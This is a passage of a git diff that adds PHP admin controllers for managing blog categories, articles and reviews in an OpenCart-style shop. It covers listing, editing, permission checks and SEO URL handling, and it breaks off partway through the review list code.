+ 'filter_name' => $filter_name,
+ 'start' => 0,
+ 'limit' => $limit
+ );
+
+ $results = $this->model_blog_article->getArticles($filter_data);
+
+ foreach ($results as $result) {
+
+ $json[] = array(
+ 'article_id' => $result['article_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/blog/category.php b/public/admin/controller/blog/category.php
new file mode 100644
index 0000000..f672802
--- /dev/null
+++ b/public/admin/controller/blog/category.php
@@ -0,0 +1,681 @@
+load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_blog_category->addCategory($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_blog_category->editCategory($this->request->get['blog_category_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $blog_category_id) {
+ $this->model_blog_category->deleteCategory($blog_category_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function repair() {
+ $url = '';
+
+ $this->load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ if ($this->validateRepair()) {
+ $this->model_blog_category->repairCategories();
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+
+ $url = '';
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('blog/category/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('blog/category/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['repair'] = $this->url->link('blog/category/repair', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['enabled'] = $this->url->link('blog/category/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('blog/category/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['path'])) {
+ if ($this->request->get['path'] != '') {
+ $this->path = explode('_', $this->request->get['path']);
+ $this->blog_category_id = end($this->path);
+ $this->session->data['path'] = $this->request->get['path'];
+ } else {
+ unset($this->session->data['path']);
+ }
+ } elseif (isset($this->session->data['path'])) {
+ $this->path = explode('_', $this->session->data['path']);
+ $this->blog_category_id = end($this->path);
+ }
+
+ $data['categories'] = $this->getCategories(0);
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+ $category_total = $this->model_blog_category->getTotalCategories();
+
+ $data['results'] = $this->language->get('text_category_total') . ($category_total);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/category_list', $data));
+ }
+
+ protected function getForm() {
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['blog_category_id'])) {
+ $data['action'] = $this->url->link('blog/category/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('blog/category/edit', 'user_token=' . $this->session->data['user_token'] . '&blog_category_id=' . $this->request->get['blog_category_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['blog_category_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $category_info = $this->model_blog_category->getCategory($this->request->get['blog_category_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['category_description'])) {
+ $data['category_description'] = $this->request->post['category_description'];
+ } elseif (isset($this->request->get['blog_category_id'])) {
+ $data['category_description'] = $this->model_blog_category->getCategoryDescriptions($this->request->get['blog_category_id']);
+ } else {
+ $data['category_description'] = array();
+ }
+
+ $language_id = $this->config->get('config_language_id');
+ if (isset($data['category_description'][$language_id]['name'])) {
+ $data['heading_title'] = $data['category_description'][$language_id]['name'];
+ }
+
+ if (isset($this->request->post['path'])) {
+ $data['path'] = $this->request->post['path'];
+ } elseif (!empty($category_info)) {
+ $data['path'] = $category_info['path'];
+ } else {
+ $data['path'] = '';
+ }
+
+ if (isset($this->request->post['parent_id'])) {
+ $data['parent_id'] = $this->request->post['parent_id'];
+ } elseif (!empty($category_info)) {
+ $data['parent_id'] = $category_info['parent_id'];
+ } else {
+ $data['parent_id'] = 0;
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['category_store'])) {
+ $data['category_store'] = $this->request->post['category_store'];
+ } elseif (isset($this->request->get['blog_category_id'])) {
+ $data['category_store'] = $this->model_blog_category->getCategoryStores($this->request->get['blog_category_id']);
+ } else {
+ $data['category_store'] = array(0);
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($category_info)) {
+ $data['image'] = $category_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($category_info) && is_file(DIR_IMAGE . $category_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($category_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['top'])) {
+ $data['top'] = $this->request->post['top'];
+ } elseif (!empty($category_info)) {
+ $data['top'] = $category_info['top'];
+ } else {
+ $data['top'] = 0;
+ }
+
+ if (isset($this->request->post['column'])) {
+ $data['column'] = $this->request->post['column'];
+ } elseif (!empty($category_info)) {
+ $data['column'] = $category_info['column'];
+ } else {
+ $data['column'] = 1;
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($category_info)) {
+ $data['sort_order'] = $category_info['sort_order'];
+ } else {
+ $data['sort_order'] = 0;
+ }
+
+ if (isset($this->request->post['category_seo_url'])) {
+ $data['category_seo_url'] = $this->request->post['category_seo_url'];
+ } elseif (isset($this->request->get['blog_category_id'])) {
+ $data['category_seo_url'] = $this->model_blog_category->getCategorySeoUrls($this->request->get['blog_category_id']);
+ } else {
+ $data['category_seo_url'] = array();
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($category_info)) {
+ $data['status'] = $category_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($category_info)) {
+ $data['noindex'] = $category_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ if (isset($this->request->post['category_layout'])) {
+ $data['category_layout'] = $this->request->post['category_layout'];
+ } elseif (isset($this->request->get['blog_category_id'])) {
+ $data['category_layout'] = $this->model_blog_category->getCategoryLayouts($this->request->get['blog_category_id']);
+ } else {
+ $data['category_layout'] = array();
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('blog/category_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'blog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['category_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 2) || (utf8_strlen($value['name']) > 255)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if (isset($this->request->post['category_seo_url']) && is_array($this->request->post['category_seo_url'])) {
+ foreach ($this->request->post['category_seo_url'] as $store_id => &$languages) {
+ foreach ($languages as $language_id => &$keyword) {
+ if (!empty($keyword)) {
+ $keyword = translit($keyword);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['category_description'])) {
+ foreach ($this->request->post['category_description'] as $language_id => $value) {
+ if (!empty($value['name'])) {
+ if (!isset($this->request->post['category_seo_url'][0][$language_id]) || trim($this->request->post['category_seo_url'][0][$language_id]) === '') {
+ $this->request->post['category_seo_url'][0][$language_id] = translit($value['name']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['category_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['blog_category_id']) || ($seo_url['query'] != 'blog_category_id=' . $this->request->get['blog_category_id']))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ if (isset($this->request->post['selected'])) {
+
+ foreach ($this->request->post['selected'] as $blog_category_id) {
+ $this->model_blog_category->editCategoryStatus($blog_category_id, 1);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $this->response->redirect($this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('blog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/category');
+
+ if (isset($this->request->post['selected'])) {
+
+ foreach ($this->request->post['selected'] as $blog_category_id) {
+ $this->model_blog_category->editCategoryStatus($blog_category_id, 0);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $this->response->redirect($this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'blog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateRepair() {
+ if (!$this->user->hasPermission('modify', 'blog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('blog/category');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'sort' => 'name',
+ 'order' => 'ASC',
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_blog_category->getCategories($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'blog_category_id' => $result['blog_category_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ private function getCategories($parent_id, $parent_path = '', $indent = '') {
+ $blog_category_id = array_shift($this->path);
+ $output = array();
+ static $href_category = null;
+ static $href_action = null;
+ if ($href_category === null) {
+ $href_category = $this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'] . '&path=', true);
+ $href_action = $this->url->link('blog/category/update', 'user_token=' . $this->session->data['user_token'] . '&blog_category_id=', true);
+ }
+ $results = $this->model_blog_category->getCategoriesByParentId($parent_id);
+ foreach ($results as $result) {
+ $path = $parent_path . $result['blog_category_id'];
+ $href = ($result['children']) ? $href_category . $path : '';
+ $name = $result['name'];
+ if ($blog_category_id == $result['blog_category_id']) {
+ $name = '' . $name . ' ';
+ $data['breadcrumbs'][] = array(
+ 'text' => $result['name'],
+ 'href' => $href,
+ 'separator' => ' :: '
+ );
+ $href = '';
+ }
+ $selected = isset($this->request->post['selected']) && in_array($result['blog_category_id'], $this->request->post['selected']);
+ $action = array();
+ $action[] = array(
+ 'text' => $this->language->get('text_edit'),
+ 'href' => $href_action . $result['blog_category_id']
+ );
+ $output[$result['blog_category_id']] = array(
+ 'blog_category_id' => $result['blog_category_id'],
+ 'name' => $name,
+ 'sort_order' => $result['sort_order'],
+ 'noindex' => $result['noindex'],
+ 'edit' => $this->url->link('blog/category/edit', 'user_token=' . $this->session->data['user_token'] . '&blog_category_id=' . $result['blog_category_id'], true),
+ 'selected' => $selected,
+ 'action' => $action,
+ 'href' => $href,
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=blog/category&blog_category_id=' . ($result['blog_category_id']),
+ 'indent' => $indent
+ );
+ if ($blog_category_id == $result['blog_category_id']) {
+ $output += $this->getCategories($result['blog_category_id'], $path . '_', $indent . str_repeat(' ', 8));
+ }
+ }
+ return $output;
+ }
+ private function getAllCategories($categories, $parent_id = 0, $parent_name = '') {
+ $output = array();
+ if (array_key_exists($parent_id, $categories)) {
+ if ($parent_name != '') {
+ $parent_name .= $this->language->get('text_separator');
+ }
+ foreach ($categories[$parent_id] as $category) {
+ $output[$category['blog_category_id']] = array(
+ 'blog_category_id' => $category['blog_category_id'],
+ 'name' => $parent_name . $category['name']
+ );
+ $output += $this->getAllCategories($categories, $category['blog_category_id'], $parent_name . $category['name']);
+ }
+ }
+ return $output;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/blog/review.php b/public/admin/controller/blog/review.php
new file mode 100644
index 0000000..b329bf4
--- /dev/null
+++ b/public/admin/controller/blog/review.php
@@ -0,0 +1,650 @@
+load->language('blog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/review');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('blog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/review');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_blog_review->addReview($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('blog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/review');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_blog_review->editReview($this->request->get['review_article_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('blog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('blog/review');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $review_article_id) {
+ $this->model_blog_review->deleteReview($review_article_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_article'])) {
+ $filter_article = $this->request->get['filter_article'];
+ } else {
+ $filter_article = '';
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $filter_author = $this->request->get['filter_author'];
+ } else {
+ $filter_author = '';
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'r.date_added';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = $this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('blog/review/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('blog/review/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['enabled'] = $this->url->link('blog/review/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('blog/review/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['reviews'] = array();
+
+ $filter_data = array(
+ 'filter_article' => $filter_article,
+ 'filter_author' => $filter_author,
+ 'filter_status' => $filter_status,
+ 'filter_date_added' => $filter_date_added,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $review_total = $this->model_blog_review->getTotalReviews($filter_data);
+
+ $results = $this->model_blog_review->getReviews($filter_data);
+
+ foreach ($results as $result) {
+ $data['reviews'][] = array(
+ 'review_article_id' => $result['review_article_id'],
+ 'name' => $result['name'],
+ 'author' => $result['author'],
+ 'rating' => $result['rating'],
+ 'status' => ($result['status']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('blog/review/edit', 'user_token=' . $this->session->data['user_token'] . '&review_article_id=' . $result['review_article_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_article'])) {
+ $url .= '&filter_article=' . urlencode(html_entity_decode($this->request->get['filter_article'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_article'] = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=pd.name' . $url, true);
+ $data['sort_author'] = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.author' . $url, true);
+ $data['sort_rating'] = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.rating' . $url, true);
+ $data['sort_status'] = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.date_added' . $url, true);
+
